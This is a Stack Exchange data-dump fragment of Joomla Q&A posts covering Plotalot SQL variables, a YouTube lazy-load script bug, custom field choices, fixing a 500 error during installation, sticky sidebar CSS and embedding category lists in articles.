  <row Id="24060" PostTypeId="1" AcceptedAnswerId="24066" CreationDate="2019-01-11T22:15:44.707" Score="1" ViewCount="172" Body="&lt;p&gt;I am trying to use plotalot to graph user results.  The program only uses mysql queries to pull data.  How can I pull session specific user data with a mysql query?  Normal Joomla session variables are not available to use.  I've tried many versions of this, but session variables are not set?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT Calcd_Results&#xA;FROM user_results&#xA;WHERE user_id = $_SESSION[&quot;user_id&quot;] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12882" LastEditorUserId="12352" LastEditDate="2019-01-13T12:34:02.217" LastActivityDate="2019-01-13T12:34:02.217" Title="How to write the logged in user id in Plotalot queries?" Tags="|mysql|user|session|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24061" PostTypeId="1" AcceptedAnswerId="24064" CreationDate="2019-01-11T22:24:35.343" Score="0" ViewCount="175" Body="&lt;p&gt;I'm using code found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://codepad.co/snippet/CtLEQDKX&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codepad.co/snippet/CtLEQDKX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to lazy load the preview image for youtube videos within JComments. I have it working pretty good and looking like I want it to and it saves a massive amount of data from being unnecessarily downloaded, but for some reason the first video always gets skipped and left with no image and is unclickable. The rest work just as they're supposed to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two sections the comments appear on, the other is a custom made profile page and is separate from JComments, and the same thing happens to the first video on the lists there as well. Any thoughts on why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is js being used on site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;( function() {&#xA;&#xA;    var youtube = document.querySelectorAll( &quot;.youtube&quot; );&#xA;&#xA;    for (var i = 0; i &amp;lt; youtube.length; i++) {&#xA;&#xA;        var source = &quot;https://img.youtube.com/vi/&quot;+ youtube[i].dataset.embed +&quot;/hqdefault.jpg&quot;;&#xA;&#xA;        var image = new Image();&#xA;            image.src = source;&#xA;            image.addEventListener( &quot;load&quot;, function() {&#xA;                youtube[ i ].appendChild( image );&#xA;            }( i ) );&#xA;&#xA;        youtube[i].addEventListener( &quot;click&quot;, function() {&#xA;&#xA;            var iframe = document.createElement( &quot;iframe&quot; );&#xA;                iframe.setAttribute( &quot;frameborder&quot;, &quot;0&quot; );&#xA;                iframe.setAttribute( &quot;allowfullscreen&quot;, &quot;&quot; );&#xA;                iframe.setAttribute( &quot;src&quot;, &quot;https://www.youtube.com/embed/&quot;+ this.dataset.embed +&quot;?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&quot; );&#xA;&#xA;            this.innerHTML = &quot;&quot;;&#xA;            this.appendChild( iframe );&#xA;        } );    &#xA;    };&#xA;&#xA;} )();&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what the html looks like in custom bbcode, identifier is stripped out from pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[youtube]https://www.youtube.com/watch?v={IDENTIFIER}[/youtube]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;center&amp;gt;&#xA;&amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;youtube&quot; data-embed=&quot;{IDENTIFIER}&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;play-button&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/center&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the profile str_replace is in 2 arrays, but looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...., &quot;https://www.youtube.com/watch?v=&quot;, &quot;[youtube]&quot;, &quot;[/youtube]&quot;,.....&#xA;&#xA;replaced by&#xA;&#xA;...., &quot;&quot;, '&amp;lt;center&amp;gt;&amp;lt;div class=&quot;wrapper&quot;&amp;gt;&amp;lt;div class=&quot;youtube&quot; data-embed=&quot;', '&quot;&amp;gt;&amp;lt;div class=&quot;play-button&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/center&amp;gt;',.....  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Extra info &#xA;J! 3.9.1&#xA;PHP 7.1.25&#xA;OS Linux I&#xA;JComments 3.0.7&lt;/p&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2019-01-12T16:11:51.513" LastActivityDate="2019-01-18T23:04:23.277" Title="Video lazy loading skipping first video in every list" Tags="|javascript|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24062" PostTypeId="1" AcceptedAnswerId="24065" CreationDate="2019-01-12T13:35:05.730" Score="0" ViewCount="77" Body="&lt;p&gt;Which field is better for displaying code like below?&#xA;Textarea or editor field ?&#xA;I'm currently using Textarea&#xA;I want to know which method is better and will affect the speed of the site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience in this field? Whether the speed of the site goes down with this or not??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code for show changelog product&#xA;And for each product, the number of lines may be much larger&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;logs-wrap&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;version 1.4&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;logs-detail&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue update joomla&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-joomla&quot;&amp;gt;&amp;lt;/i&amp;gt;update&amp;lt;/span&amp;gt;update ....&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue update&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-refresh&quot;&amp;gt;&amp;lt;/i&amp;gt;update&amp;lt;/span&amp;gt;update....&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue improve&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-gear&quot;&amp;gt;&amp;lt;/i&amp;gt;improve&amp;lt;/span&amp;gt;improve design &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;logs-wrap&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;version 1.3&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;logs-detail&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue update&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-update&quot;&amp;gt;&amp;lt;/i&amp;gt;update&amp;lt;/span&amp;gt;update.....&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue improve&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-gear&quot;&amp;gt;&amp;lt;/i&amp;gt;improve&amp;lt;/span&amp;gt;improve speed...&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;logs-wrap&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;version 1.2&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;logs-detail&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue update joomla&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-joomla&quot;&amp;gt;&amp;lt;/i&amp;gt;update&amp;lt;/span&amp;gt;joomla updated&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue update&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-refresh&quot;&amp;gt;&amp;lt;/i&amp;gt;update&amp;lt;/span&amp;gt;update...&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue improve&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-gear&quot;&amp;gt;&amp;lt;/i&amp;gt;improve&amp;lt;/span&amp;gt;improve responsive...&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;logs-wrap tpl-born&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;version 1.0&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;logs-detail&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;issue release&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-rocket&quot;&amp;gt;&amp;lt;/i&amp;gt;new&amp;lt;/span&amp;gt;first realse&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="168" LastEditDate="2019-01-14T12:22:24.297" LastActivityDate="2019-01-14T12:22:24.297" Title="Which Custom field is better?" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24063" PostTypeId="1" CreationDate="2019-01-12T15:04:30.963" Score="1" ViewCount="1174" Body="&lt;p&gt;On Ubuntu 18.04.1 LTS, the installation page is not shown. Instead, I see a blank page with &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On MySql log I see this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Access denied for user ''@'localhost' (using password: NO)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However I can't understand this message, because I still haven't inserted any information regarding MySql login details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before visiting the installation page, I followed the instructions of this tutorial: &lt;a href=&quot;https://hostadvice.com/how-to/how-to-install-joomla-on-an-ubuntu-18-04-vps-or-dedicated-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to Install Joomla on an Ubuntu 18.04 VPS or Dedicated Server&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize them, I have installed all php packages, secured MySql installation, created the db and the user, downloaded latest Joomla installation package (3.9.1) and copied its contents recursively to folder &lt;code&gt;/var/www/html/&lt;/code&gt;, assigned ownership and user privileges to this folder, copied &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;, restarted apache2 and visited the page &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://localhost&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The page is correctly redirected to the installation folder&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://localhost/installation/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/installation/index.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Even if it is not required, I have also created an anonymous user in MySql with no password and flushed privileges. Now, user &lt;code&gt;''@'localhost'&lt;/code&gt; is there, I can connect with no password using the command line, but still getting the same error as shown above. However, this time the MySql log is empty. I only get the apache error log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;GET /installation/index.php HTTP/1.1&quot; 500 190 &quot;-&quot; &quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13236" LastEditorUserId="12524" LastEditDate="2019-01-13T12:18:07.357" LastActivityDate="2019-01-14T07:58:06.360" Title="Installation page not shown due to MySql access denied and 500 server error" Tags="|mysql|installation|linux|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="24064" PostTypeId="2" ParentId="24061" CreationDate="2019-01-12T16:09:53.913" Score="1" Body="&lt;p&gt;Put the script after the html instead of before (in /components/com_jcomments/tpl/default/tpl_comment.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If only half of the preview images show up and the rest are stock youtube images, change the image source in the javascript to hqdefault.jpg (instead of sddefault.jpg from code source).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An option to load content on click for bootstrap collapse would have been a better solution in my case, but as far as I can see it is not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the css used if anyone wants to keep their videos around 400px wide, it's a little different than the source.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wrapper {&#xA;    max-width: 400px;&#xA;    margin: 0 auto;&#xA;    padding: 0 20px;&#xA;}&#xA;&#xA;.youtube {&#xA;    background-color: #000;&#xA;    margin-top: 0px;&#xA;    position: relative;&#xA;    padding-top: 56.25%;&#xA;    overflow: hidden;&#xA;    cursor: pointer;&#xA;}&#xA;.youtube img {&#xA;    width: 100%;&#xA;    top: -16.82%;&#xA;    left: 0;&#xA;    opacity: 0.7;&#xA;}&#xA;.youtube .play-button {&#xA;    width: 90px;&#xA;    height: 60px;&#xA;    background-color: #333;&#xA;    box-shadow: 0 0 30px rgba( 0,0,0,0.6 );&#xA;    z-index: 1;&#xA;    opacity: 0.8;&#xA;    border-radius: 20px;&#xA;}&#xA;.youtube .play-button:before {&#xA;    content: &quot;&quot;;&#xA;    border-style: solid;&#xA;    border-width: 15px 0 15px 26.0px;&#xA;    border-color: transparent transparent transparent #fff;&#xA;}&#xA;.youtube img,&#xA;.youtube .play-button {&#xA;    cursor: pointer;&#xA;}&#xA;.youtube img,&#xA;.youtube iframe,&#xA;.youtube .play-button,&#xA;.youtube .play-button:before {&#xA;    position: absolute;&#xA;}&#xA;.youtube .play-button,&#xA;.youtube .play-button:before {&#xA;    top: 50%;&#xA;    left: 50%;&#xA;    transform: translate3d( -50%, -50%, 0 );&#xA;}&#xA;.youtube iframe {&#xA;    height: 100%;&#xA;    width: 100%;&#xA;    top: 0;&#xA;    left: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2019-01-18T23:04:23.277" LastActivityDate="2019-01-18T23:04:23.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24065" PostTypeId="2" ParentId="24062" CreationDate="2019-01-12T16:50:53.580" Score="0" Body="&lt;p&gt;The speed is not relevant here at all in this question. Use the textarea field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the field attributes use filter=“raw” to preserve html tags after submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I thought that this is a very hollow question. After few comments, the reasoning of the question got a bit clearer. However it is not a good enough reasoning that “some people said something somewhere about a subject of input fields generally a long time ago and we all remember that”. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people few times mentioned years ago somewhere that custom fields in Joomla can slow down a site. But the facts are, if you investigate those cases, that in those particular cases they talked about 30, 40 or even more custom fields in 1 Joomla article where on the top of those, an extension or two were fetching and scanning the sites with complicated regex filters and on the top of those, the fields were saved in database with wrongly built queries (field by field with one separated query for example) in wrongly built html Forms. And on the top of this the whole thing was running on PHP 5.x and if it is not enough, they mentioned the speed problem if they load many many of these articles in a category list view only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot just apply this extreme, clueless example on an HTML form field which is created by Joomla. You absolutely cannot blame Joomla and form fields regarding this question and cannot really evaluate this question based on these few special individual experience. The basic reason of slowing down a site with text is primarily can come only from abusing the database with wrongly built queries where the amount of database access is not considered at site load and it can cause really stupid speed problem (only for few people). With 100-200 lines of text in a textfield you cannot slow a server, there is no way for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you just need an HTML form field for text input, then use the textarea field without even thinking about the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to provide editing capabilities for the field, then use editor field with codemirror editor for example (which means a very light editor). And you will not really experience any problem (only few milliseconds different maximum). But I still recommend textarea if the operator do not need editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your particular case, speed is not a factor of decision. The purpose and the function of the input field is the decision factor of choice.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-13T15:23:43.923" LastActivityDate="2019-01-13T15:23:43.923" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24066" PostTypeId="2" ParentId="24060" CreationDate="2019-01-13T00:19:36.350" Score="3" Body="&lt;p&gt;Plotalot includes various variables that can be used in sql queries, eg. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%%J_USER_ID%%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the currently logged in user_id. The &lt;a href=&quot;https://www.lesarbresdesign.info/extensions/plotalot/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plotalot User Documentation Available as PDF here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2019-01-13T00:19:36.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24067" PostTypeId="2" ParentId="14805" CreationDate="2019-01-13T06:44:43.140" Score="2" Body="&lt;p&gt;Another reason for the Installer &quot;Next&quot; button not working is problems with sessions/cookies causing &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3.9.1/libraries/src/Session/Session.php#L332&quot; rel=&quot;nofollow noreferrer&quot;&gt;CSRF token checking to fail and redirect back to the first page&lt;/a&gt; and the error message to be lost due to lack of a session.  Some potential causes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cookies are disabled in your browser.&lt;/li&gt;&#xA;&lt;li&gt;Cookies are filtered/blocked by a browser extension.&lt;/li&gt;&#xA;&lt;li&gt;Cookies are filtered/blocked by a (forward or reverse) proxy or other middleware.&lt;/li&gt;&#xA;&lt;li&gt;PHP sessions are non-functional due to misconfiguration in &lt;code&gt;php.ini&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Using an HTTP connection when session cookies are blocked for non-HTTPS connections (e.g. &lt;a href=&quot;https://secure.php.net/manual/en/session.configuration.php#ini.session.cookie-secure&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;session.cookie-secure&lt;/code&gt;&lt;/a&gt; in &lt;code&gt;php.ini&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13237" LastActivityDate="2019-01-13T06:44:43.140" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24068" PostTypeId="2" ParentId="24063" CreationDate="2019-01-13T07:45:50.640" Score="2" Body="&lt;p&gt;&lt;strong&gt;Based on the previous comments&lt;/strong&gt; under the original question where we excluded many basic sources of failure of Joomla installation, I am now giving the possible solutions or causes here. As I wrote in the comment: this is not a Joomla error or not an error derived from Joomla, but from wrong server configurations. It could be MySql or the http server itself, or from PHP. We cleared Mysql (correct credentials) connection problem, Joomla file permissions(755 for folders and 644 for files), and .htaccess file (it is in the root folder correctly), however:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a well configured server a Joomla install is about 5 minutes not more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common additional reasons for seeing &lt;strong&gt;500 server error&lt;/strong&gt; during Joomla installation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; &lt;strong&gt;mod_rewrite&lt;/strong&gt; is not being loaded on apache. Solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    sudo a2enmod rewrite&#xA;&#xA;    sudo service apache2 restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Link:&lt;/strong&gt; &lt;a href=&quot;https://docs.joomla.org/How_to_check_if_mod_rewrite_is_enabled_on_your_server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_check_if_mod_rewrite_is_enabled_on_your_server&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If apache is not configured correctly, .htaccess will be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another link for configuration: &lt;a href=&quot;http://www.iasptk.com/enable-apache-mod_rewrite-ubuntu-14-04-lts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.iasptk.com/enable-apache-mod_rewrite-ubuntu-14-04-lts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; &lt;strong&gt;simplexml module&lt;/strong&gt; is not installed or not working in PHP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solve it with for example: &lt;code&gt;sudo apt-get install php7.2-xml&lt;/code&gt;or &lt;code&gt;sudo apt-get install php-xml&lt;/code&gt; and apache restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll update my answer with more possibility (if needed) as we move along with the install when the original poster is checking the above on his server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. More on configuring Apache for letting the server reading .htaccess :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is the .htaccess File Being Read?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an .htaccess file which is set up correctly, but you are still getting an HTTP 500 error, the problem might be that the .htaccess file is being ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for the .htaccess file to work, Apache will need to be configured to allow it to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the website's main Apache configuration file. For the main domain on a server, this will typically be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ubuntu and Debian: /etc/apache2/apache2.conf&#xA;CentOS 7: /etc/httpd/conf/httpd.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For other domains being hosted on the server, the location and name of the file will vary depending on how the domain was set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit this main configuration file and find the block which pertains to the directory where you are adding an .htaccess file. For example, the default document root for the main directory will probably be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory &quot;/var/www/html&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside this block, look for the AllowOverride configuration. Set this to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AllowOverride All&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info on this here: &lt;a href=&quot;https://www.ionos.com/community/server-cloud-infrastructure/apache/how-to-fix-http-error-code-500-internal-server-error/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ionos.com/community/server-cloud-infrastructure/apache/how-to-fix-http-error-code-500-internal-server-error/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Timeout error.&lt;/strong&gt; I do not think we should deal with that in this particular case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5. if nothing of the above helps&lt;/strong&gt;, you can still check the whole server setup against this good write-up here:&#xA;&lt;a href=&quot;https://websiteforstudents.com/install-joomla-on-ubuntu-16-04-17-10-18-04-with-apache2-mariadb-php-7-2-and-lets-encrypt-ssl-tls-certificates/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://websiteforstudents.com/install-joomla-on-ubuntu-16-04-17-10-18-04-with-apache2-mariadb-php-7-2-and-lets-encrypt-ssl-tls-certificates/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-14T07:58:06.360" LastActivityDate="2019-01-14T07:58:06.360" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24069" PostTypeId="1" AcceptedAnswerId="24071" CreationDate="2019-01-14T11:40:24.903" Score="3" ViewCount="478" Body="&lt;p&gt;Is there a way to create a module, which is floating in its position (and only in its position)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aebb.es/4&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://aebb.es/4&lt;/a&gt;&#xA;here I would like to have the fixed opt-in module on the right side to float always on top of page during scrolling. But the module shall never leave the position &quot;sidebar-right&quot; on scrolling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was thinking if it is solvable via CSS3? Also open for other solutions&lt;/p&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-01-14T14:12:57.757" Title="Floating module on scrolling?" Tags="|css|module-display|positions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24070" PostTypeId="1" AcceptedAnswerId="24072" CreationDate="2019-01-14T12:01:59.593" Score="2" ViewCount="548" Body="&lt;p&gt;I want to get a category list view inside an article (in this case, inside a tab in an article), but I want to see this category list view styled like when a menu item type shows a category list: a table with header, hits, date, number of articles to show, pagination, etc...&#xA;What I obtain is only a list with the articles titles, date and hits, all together in the same line, but not in a table layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible get the table layout in any way and insert it in an article (inside a tab, for example)??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="13242" LastActivityDate="2019-01-14T13:08:16.003" Title="Is it possible to insert a category list view inside an article?" Tags="|joomla-3.x|category|view|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24071" PostTypeId="2" ParentId="24069" CreationDate="2019-01-14T12:21:25.747" Score="2" Body="&lt;p&gt;You can achieve this by using the following (fetch first the 30% sidebar and define on page surround the visibility):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.g-block.size-30 #g-aside {&#xA;    position: sticky;&#xA;    top: 50px;&#xA;}&#xA;&#xA;#g-page-surround {&#xA;    overflow: visible;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second block of code is a small fix, as a &lt;code&gt;sticky&lt;/code&gt; position won't work if any of the parent elements have a &lt;code&gt;hidden&lt;/code&gt; overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="13241" LastEditDate="2019-01-14T14:12:57.757" LastActivityDate="2019-01-14T14:12:57.757" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24072" PostTypeId="2" ParentId="24070" CreationDate="2019-01-14T13:08:16.003" Score="3" Body="&lt;p&gt;One option would be to use the &lt;code&gt;Articles - Category&lt;/code&gt; module that's shipped with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create module&lt;/li&gt;&#xA;&lt;li&gt;Set all the options you require&lt;/li&gt;&#xA;&lt;li&gt;Assign it to a custom position, e.g &lt;code&gt;category-test&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In your article, add the following code snippet &lt;code&gt;{loadposition category-test}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By default, this module uses a list layout, so if you'd like to display the data in a table, you can easily perform a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Override&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-01-14T13:08:16.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24073" PostTypeId="5" CreationDate="2019-01-14T15:47:47.557" Score="0" Body="" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2019-01-14T15:47:47.557" LastActivityDate="2019-01-14T15:47:47.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24074" PostTypeId="4" CreationDate="2019-01-14T15:47:47.557" Score="0" Body="Questions about the popular Form Extension RSForm Pro, by RSJoomla" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2019-01-14T15:47:47.557" LastActivityDate="2019-01-14T15:47:47.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
